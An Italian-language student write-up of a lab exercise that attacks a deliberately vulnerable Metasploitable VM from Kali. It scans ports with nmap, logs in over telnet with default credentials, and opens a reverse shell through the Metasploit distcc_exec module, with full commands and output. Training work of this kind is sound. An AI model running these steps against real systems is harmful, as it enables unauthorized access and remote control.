

Il primo passo, come richiesto da consegna, è quello di impostare gli indirizzi IP nel seguente modo:

macchina Kali Linux: IP 192.168.1.25

macchina metasploitable: IP 192.168.1.40

```
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group de
fault qlen 1000
    link/ether 08:00:27:6e:13:6e brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.25/24 brd 192.168.1.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::5863:d218:7700:f60e/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
```

```
GNU nano 2.0.7 File: /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
    address 192.168.1.40
    netmask 255.255.255.0
    gateway 192.168.20.1
```

```
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo
    link/ether 08:00:27:cd:c5:7b brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.40/24 brd 192.168.1.255 scope global eth0
    inet6 fe80::a00:27ff:febd:c57b/64 scope link
        valid_lft forever preferred_lft forever
```

Per confermare la modifica dell'indirizzo IP di metasploitable è necessario riavviare la macchina.

Verifico una connessione bilaterale facendo pingare le due macchine:

```
msfadmin@metasploitable:~$ ping 192.168.1.25
PING 192.168.1.25 (192.168.1.25) 56(84) bytes of data:
64 bytes from 192.168.1.25: icmp_seq=1 ttl=64 time=10.6 ms
64 bytes from 192.168.1.25: icmp_seq=2 ttl=64 time=0.722 ms
64 bytes from 192.168.1.25: icmp_seq=3 ttl=64 time=0.614 ms
64 bytes from 192.168.1.25: icmp_seq=4 ttl=64 time=0.721 ms
--- 192.168.1.25 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2999ms
rtt min/avg/max/mdev = 0.614/3.169/10.619/4.301 ms
```

```
(kali@kali)~$ ping 192.168.1.40
PING 192.168.1.40 (192.168.1.40) 56(84) bytes of data:
64 bytes from 192.168.1.40: icmp_seq=1 ttl=64 time=0.832 ms
64 bytes from 192.168.1.40: icmp_seq=2 ttl=64 time=0.576 ms
64 bytes from 192.168.1.40: icmp_seq=3 ttl=64 time=0.635 ms
64 bytes from 192.168.1.40: icmp_seq=4 ttl=64 time=0.842 ms
^C
--- 192.168.1.40 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3062ms
rtt min/avg/max/mdev = 0.576/0.721/0.842/0.117 ms
```

Successivamente eseguo una scansione nmap per verificare che la porta 23 riservata al servizio di telnet sia libera e aperta:

```
Nmap scan report for 192.168.1.40
Host is up (0.00032s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
```

Ora che ho la conferma, posso procedere con la compilazione del modulo di attacco con Msfconsole.

Dopo aver avviato Metasploit, effettuo una scansione cercando il modulo richiesto dall'esercizio ovvero "auxiliary/telnet_version" e indico che voglio usare il modulo taggato col numero 1

```
msf6 > search auxiliary telnet_version

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  auxiliary/scanner/telnet/lantronix_telnet_version  .              normal No    Lantronix Telnet Service Banner Detection
1  auxiliary/scanner/telnet/telnet_version           .              normal No    Telnet Service Banner Detection

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/telnet/telnet_version
msf6 > use 1
```

Adesso visiono le informazioni che il modulo richiede per eseguire l'attacco:

```
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

Name      Current Setting  Required  Description
-----
PASSWORD  no              no        The password for the specified username
RHOSTS    23             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     23             yes       The target port (TCP)
THREADS   1              yes       The number of concurrent threads (max one per host)
TIMEOUT   30             yes       Timeout for the Telnet probe
USERNAME  no              no        The username to authenticate as
```

Necessita solo dell'inserimento del remote host ovvero la nostra macchina metasploitable target:

```
msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.1.40
rhosts => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

Name      Current Setting  Required  Description
-----
PASSWORD  no              no        The password for the specified username
RHOSTS    192.168.1.40    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     23             yes       The target port (TCP)
THREADS   1              yes       The number of concurrent threads (max one per host)
TIMEOUT   30             yes       Timeout for the Telnet probe
USERNAME  no              no        The username to authenticate as
```

Non è necessario inserire il payload in questo modulo, quindi possiamo direttamente lanciare l'attacco con il comando "exploit":

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit
[*] 192.168.1.40:23 - 192.168.1.40:23 TELNET
[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

In questa immagine viene indicato come il modulo abbia recuperato i dati di login del servizio dandoci proprio lo username e password.

Per verificare la correttezza delle informazioni, eseguo il comando "telnet 192.168.1.40" dove 192.168.1.140 è l'indirizzo della macchina metasploitable.

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.40
[*] exec: telnet 192.168.1.40

Trying 192.168.1.40...
Connected to 192.168.1.40.
Escape character is '^['.

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: 
```

Inserendo le credenziali viste lanciando precedentemente l'exploit, possiamo notare come si esegue tranquillamente l'accesso non autorizzato alla macchina target dandoci totale libertà nell'esecuzione di programmi malevoli:

```

metasploitable login: msfadmin
Password:
Last login: Tue Jan 21 09:03:24 EST 2025 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
msfadmin@metasploitable:~$

```

Possiamo notare come alla fine dell'immagine è presente il nome della macchina della quale stiamo usando la shell

L'esercizio bonus richiede di ottenere più informazioni sul servizio "distccd" sulla porta 3632

```

$ nmap -p- 192.168.1.40
Starting Nmap 7.95 ( https://nmap.org ) at
mass_dns: warning: Unable to determine any
using --system-dns or specify valid server
Nmap scan report for 192.168.1.40
Host is up (0.00027s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11

```

E cercando online ho trovato che distccd è il demone per l'esecuzione del tool "distcc" progettato per distribuire la compilazione di codice C e C++ su una rete di computer.

Questo servizio è vulnerabile perché, nella sua configurazione predefinita, consente un accesso senza autenticazione dando la possibilità a chiunque di inviare comandi di compilazione.

Decido quindi di cercare su Metasploit qualche modulo capace di sfruttare questa vulnerabilità:

```

msf6 > search distcc
=====
#  Name                               Disclosure Date  Rank  Check  Description
-----
0  exploit/unix/misc/distcc_exec  2002-02-01      excellent  Yes  Distcc Daemon Command Execution

```


Provo adesso di verificare le informazioni che il modulo richiede per eseguire l'exploit:

```
msf6 exploit(unix/misc/distcc_exec) > show options
Module options (exploit/unix/misc/distcc_exec):
-----
Name      Current Setting  Required  Description
-----
CHOST      127.0.0.1         no        The local client address
CPORT      3131              no        The local client port
Proxies    []                no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     []                yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      3632              yes       The target port (TCP)

Payload options (cmd/unix/reverse_bash):
-----
Name      Current Setting  Required  Description
-----
LHOST     127.0.0.1        yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:
-----
Id  Name
--  --
0   Automatic Target
```

Viene richiesto solo l'indirizzo IP del Remote Host.

Inserisco l'IP di metasploitable e modifico l'indirizzo IP del Local Host mettendo quello della macchina Kali attaccante:

```
msf6 exploit(unix/misc/distcc_exec) > set rhosts 192.168.1.40
rhosts => 192.168.1.40
msf6 exploit(unix/misc/distcc_exec) > set lhost 192.168.1.25
lhost => 192.168.1.25
msf6 exploit(unix/misc/distcc_exec) > show options
Module options (exploit/unix/misc/distcc_exec):
-----
Name      Current Setting  Required  Description
-----
CHOST      192.168.1.40     no        The local client address
CPORT      3131              no        The local client port
Proxies    []                no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     192.168.1.40     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      3632              yes       The target port (TCP)

Payload options (cmd/unix/reverse_bash):
-----
Name      Current Setting  Required  Description
-----
LHOST     192.168.1.25     yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:
-----
Id  Name
--  --
0   Automatic Target
```

C'è anche un payload default inserito quindi verifico se ne sono disponibili altri:

```
msf6 exploit(unix/misc/distcc_exec) > show payloads
Compatible Payloads
=====
#  Name                                     Disclosure Date  Rank  Check  Description
--  --
0  payload/cmd/unix/adduser                 2006-01-01      normal No      Add user with useradd
1  payload/cmd/unix/bind_perl               2006-01-01      normal No      Unix Command Shell, Bind TCP (via Perl)
2  payload/cmd/unix/bind_perl_ipv6          2006-01-01      normal No      Unix Command Shell, Bind TCP (via perl) IPv6
3  payload/cmd/unix/bind_ruby               2006-01-01      normal No      Unix Command Shell, Bind TCP (via Ruby)
4  payload/cmd/unix/bind_ruby_ipv6          2006-01-01      normal No      Unix Command Shell, Bind TCP (via Ruby) IPv6
5  payload/cmd/unix/generic                 2006-01-01      normal No      Unix Command, Generic Command Execution
6  payload/cmd/unix/reverse                 2006-01-01      normal No      Unix Command Shell, Double Reverse TCP (telnet)
7  payload/cmd/unix/reverse_bash             2006-01-01      normal No      Unix Command Shell, Reverse TCP (/dev/tcp)
8  payload/cmd/unix/reverse_bash_telnet_ssl 2006-01-01      normal No      Unix Command Shell, Reverse TCP SSL (telnet)
9  payload/cmd/unix/reverse_openssl         2006-01-01      normal No      Unix Command Shell, Double Reverse TCP SSL (openssl)
10 payload/cmd/unix/reverse_perl            2006-01-01      normal No      Unix Command Shell, Reverse TCP (via Perl)
11 payload/cmd/unix/reverse_perl_ssl        2006-01-01      normal No      Unix Command Shell, Reverse TCP SSL (via perl)
12 payload/cmd/unix/reverse_ruby           2006-01-01      normal No      Unix Command Shell, Reverse TCP (via Ruby)
13 payload/cmd/unix/reverse_ruby_ssl        2006-01-01      normal No      Unix Command Shell, Reverse TCP SSL (via Ruby)
14 payload/cmd/unix/reverse_ssl_double_telnet 2006-01-01      normal No      Unix Command Shell, Double Reverse TCP SSL (telnet)
```

Decido di usare il numero 6, usando il comando “set payload 6”, che permette di usare una reverse shell:

```

Module options (exploit/unix/misc/distcc_exec):
Name      Current Setting  Required  Description
-----
CHOST      192.168.1.25      no        The local client address
CPORT      4444              no        The local client port
Proxies    []                no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     192.168.1.40      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      3632              yes       The target port (TCP)

Payload options (cmd/unix/reverse):
Name      Current Setting  Required  Description
-----
LHOST     192.168.1.25     yes       The listen address (an interface may be specified)
LPORT     4444              yes       The listen port

```

Dopo aver inserito tutti i dati, ho lanciato l'exploit avendo il controllo della macchina target.

```

msf6 exploit(unix/misc/distcc_exec) > exploit
[*] Started reverse TCP double handler on 192.168.1.25:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo cMZnsYnq9grqFZIE;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "cMZnsYnq9grqFZIE\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 3 opened (192.168.1.25:4444 -> 192.168.1.40:36599) at 2025-01-21 10:13:49 -0500

```

Ho eseguito il comando "arp -v" per vedere la tabella arp all'interno della macchina target e scoprire quali altri dispositivi sono connessi alla rete ma ovviamente era presente solo il dispositivo dal quale ho effettuato la scansione (kali)

```

arp -v
Address      HWtype  HWaddress  Flags Mask  Iface
192.168.1.25 ether    08:00:27:6E:13:6E  C 0.4  0:00:00 /usr/sbin/eth0
Entries: 1    Skipped: 0    Found: 1

```

Per verificare, ho aperto una macchina windows 7 assegnandogli l'IP 192.168.1.20 e pingando la macchina target metasploitable 192.168.1.40 così che l'indirizzo si salvasse nella tabella arp del target e successivamente eseguito il comando arp -v:

```

arp -v
Address      HWtype  HWaddress  Flags Mask  Iface
192.168.1.20 ether    08:00:27:B6:80:C3  C 0.4  0:00:00 /usr/sbin/eth0
192.168.1.25 ether    08:00:27:6E:13:6E  C 0.4  0:00:00 /usr/sbin/eth0
Entries: 2    Skipped: 0    Found: 2

```